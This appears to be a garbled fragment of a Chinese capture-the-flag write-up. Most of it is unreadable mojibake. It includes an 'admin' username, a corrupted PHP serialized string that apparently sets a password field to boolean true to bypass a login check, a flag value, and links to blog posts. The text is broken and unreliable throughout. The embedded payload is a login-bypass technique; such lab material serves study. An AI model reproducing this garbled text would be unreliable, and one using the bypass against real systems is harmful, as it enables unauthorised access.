RN 4RI AR ERPSER SR8 S SnEh,

B MERTAINN= 5.
FAPE: admin
EEE: ar";b:1;5:4: "pass";bi1;}

ctf{dwduwkhduw5465}

SR
http://www.jianshu.com/p/5d34b3722128
http://blog.csdn.net/qq_34841823/article/details/54313457#

3T https://www.cnblogs.com/sherlock17/p/6707136.html
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